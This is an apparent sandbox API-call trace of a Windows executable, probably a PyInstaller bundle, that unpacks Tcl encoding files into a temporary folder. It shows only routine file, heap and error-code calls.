lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\dingbats.enc") returned 71 [0036.187] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.187] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\dingbats.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\dingbats.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.188] GetFileType (hFile=0x10c) returned 0x1 [0036.188] htonl (hostlong=0x45040000) returned 0x445 [0036.188] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.188] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x445, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x445, lpOverlapped=0x0) returned 1 [0036.189] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.189] CloseHandle (hObject=0x10c) returned 1 [0036.190] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.190] htonl (hostlong=0x30000000) returned 0x30 [0036.190] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.190] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.190] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.190] GetFileType (hFile=0x10c) returned 0x1 [0036.190] htonl (hostlong=0x25a95300) returned 0x53a925 [0036.190] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x585925, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.190] htonl (hostlong=0xf2010000) returned 0x1f2 [0036.190] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1f2) returned 0x550600 [0036.190] htonl (hostlong=0xf2010000) returned 0x1f2 [0036.190] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.190] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.190] htonl (hostlong=0x1e040000) returned 0x41e [0036.190] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x41e) returned 0x550800 [0036.190] htonl (hostlong=0xf2010000) returned 0x1f2 [0036.190] htonl (hostlong=0x1e040000) returned 0x41e [0036.190] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.191] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.191] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.191] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.191] CloseHandle (hObject=0x10c) returned 1 [0036.191] GetLastError () returned 0x0 [0036.191] SetLastError (dwErrCode=0x0) [0036.191] GetLastError () returned 0x0 [0036.191] SetLastError (dwErrCode=0x0) [0036.191] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.191] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.192] GetFileType (hFile=0x10c) returned 0x1 [0036.192] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.192] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.192] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.192] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.192] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.192] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.192] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.192] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.192] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.192] CloseHandle (hObject=0x10c) returned 1 [0036.192] GetLastError () returned 0x0 [0036.192] SetLastError (dwErrCode=0x0) [0036.192] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.192] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.192] GetFileType (hFile=0x10c) returned 0x1 [0036.192] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.192] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.192] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.192] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.192] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.192] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.192] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.192] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.193] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.193] CloseHandle (hObject=0x10c) returned 1 [0036.193] GetLastError () returned 0x0 [0036.193] SetLastError (dwErrCode=0x0) [0036.193] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\ebcdic.enc") returned 69 [0036.193] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\ebcdic.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\ebcdic.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.193] GetLastError () returned 0x2 [0036.193] SetLastError (dwErrCode=0x2) [0036.193] GetLastError () returned 0x2 [0036.193] SetLastError (dwErrCode=0x2) [0036.193] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\ebcdic.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\ebcdic.enc", lpFilePart=0x0) returned 0x44 [0036.193] GetLastError () returned 0x2 [0036.193] SetLastError (dwErrCode=0x2) [0036.193] GetLastError () returned 0x2 [0036.193] SetLastError (dwErrCode=0x2) [0036.193] GetLastError () returned 0x2 [0036.193] SetLastError (dwErrCode=0x2) [0036.193] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\ebcdic.enc") returned 69 [0036.193] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.193] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\ebcdic.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\ebcdic.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.233] GetFileType (hFile=0x10c) returned 0x1 [0036.233] htonl (hostlong=0x1e040000) returned 0x41e [0036.233] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.233] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x41e, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x41e, lpOverlapped=0x0) returned 1 [0036.234] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.234] CloseHandle (hObject=0x10c) returned 1 [0036.235] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550800 | out: hHeap=0x530000) returned 1 [0036.235] htonl (hostlong=0x30000000) returned 0x30 [0036.235] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.235] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.235] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.235] GetFileType (hFile=0x10c) returned 0x1 [0036.235] htonl (hostlong=0x17ab5300) returned 0x53ab17 [0036.235] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x585b17, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.235] htonl (hostlong=0x59480000) returned 0x4859 [0036.235] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x4859) returned 0x560088 [0036.235] htonl (hostlong=0x59480000) returned 0x4859 [0036.235] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fcd58*=0x4000, lpOverlapped=0x0) returned 1 [0036.235] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.235] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.236] htonl (hostlong=0x464e0100) returned 0x14e46 [0036.236] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x14e46) returned 0x5648f0 [0036.236] htonl (hostlong=0x59480000) returned 0x4859 [0036.236] htonl (hostlong=0x464e0100) returned 0x14e46 [0036.236] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x579740 [0036.238] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x579740 | out: hHeap=0x530000) returned 1 [0036.238] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.238] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.238] CloseHandle (hObject=0x10c) returned 1 [0036.238] GetLastError () returned 0x0 [0036.238] SetLastError (dwErrCode=0x0) [0036.238] GetLastError () returned 0x0 [0036.238] SetLastError (dwErrCode=0x0) [0036.238] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.238] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.238] GetFileType (hFile=0x10c) returned 0x1 [0036.238] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.238] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.238] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.238] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.238] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.238] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.238] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.238] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.238] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.238] CloseHandle (hObject=0x10c) returned 1 [0036.239] GetLastError () returned 0x0 [0036.239] SetLastError (dwErrCode=0x0) [0036.239] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.239] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.239] GetFileType (hFile=0x10c) returned 0x1 [0036.239] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.239] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.239] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.239] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.239] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.239] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.239] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.239] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.239] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.239] CloseHandle (hObject=0x10c) returned 1 [0036.239] GetLastError () returned 0x0 [0036.239] SetLastError (dwErrCode=0x0) [0036.239] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\euc-cn.enc") returned 69 [0036.239] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\euc-cn.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\euc-cn.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.239] GetLastError () returned 0x2 [0036.239] SetLastError (dwErrCode=0x2) [0036.239] GetLastError () returned 0x2 [0036.239] SetLastError (dwErrCode=0x2) [0036.239] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\euc-cn.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\euc-cn.enc", lpFilePart=0x0) returned 0x44 [0036.239] GetLastError () returned 0x2 [0036.240] SetLastError (dwErrCode=0x2) [0036.240] GetLastError () returned 0x2 [0036.240] SetLastError (dwErrCode=0x2) [0036.240] GetLastError () returned 0x2 [0036.240] SetLastError (dwErrCode=0x2) [0036.240] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\euc-cn.enc") returned 69 [0036.240] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.240] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\euc-cn.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\euc-cn.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.240] GetFileType (hFile=0x10c) returned 0x1 [0036.240] htonl (hostlong=0x464e0100) returned 0x14e46 [0036.240] WriteFile (in: hFile=0x10c, lpBuffer=0x5648f0*, nNumberOfBytesToWrite=0x14000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x5648f0*, lpNumberOfBytesWritten=0x4fcd00*=0x14000, lpOverlapped=0x0) returned 1 [0036.242] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.242] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xe46, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xe46, lpOverlapped=0x0) returned 1 [0036.242] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.242] CloseHandle (hObject=0x10c) returned 1 [0036.244] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5648f0 | out: hHeap=0x530000) returned 1 [0036.244] htonl (hostlong=0x30000000) returned 0x30 [0036.244] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.244] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.244] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.244] GetFileType (hFile=0x10c) returned 0x1 [0036.245] htonl (hostlong=0x70f35300) returned 0x53f370 [0036.245] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x58a370, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.245] htonl (hostlong=0x8440000) returned 0x4408 [0036.245] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x4408) returned 0x560088 [0036.245] htonl (hostlong=0x8440000) returned 0x4408 [0036.245] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fcd58*=0x4000, lpOverlapped=0x0) returned 1 [0036.245] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.245] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.245] htonl (hostlong=0x69420100) returned 0x14269 [0036.245] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x14269) returned 0x564498 [0036.245] htonl (hostlong=0x8440000) returned 0x4408 [0036.245] htonl (hostlong=0x69420100) returned 0x14269 [0036.245] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x578710 [0036.245] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x578710 | out: hHeap=0x530000) returned 1 [0036.245] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.246] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.246] CloseHandle (hObject=0x10c) returned 1 [0036.246] GetLastError () returned 0x0 [0036.246] SetLastError (dwErrCode=0x0) [0036.246] GetLastError () returned 0x0 [0036.246] SetLastError (dwErrCode=0x0) [0036.246] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.246] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.246] GetFileType (hFile=0x10c) returned 0x1 [0036.246] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.246] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.246] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.246] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, 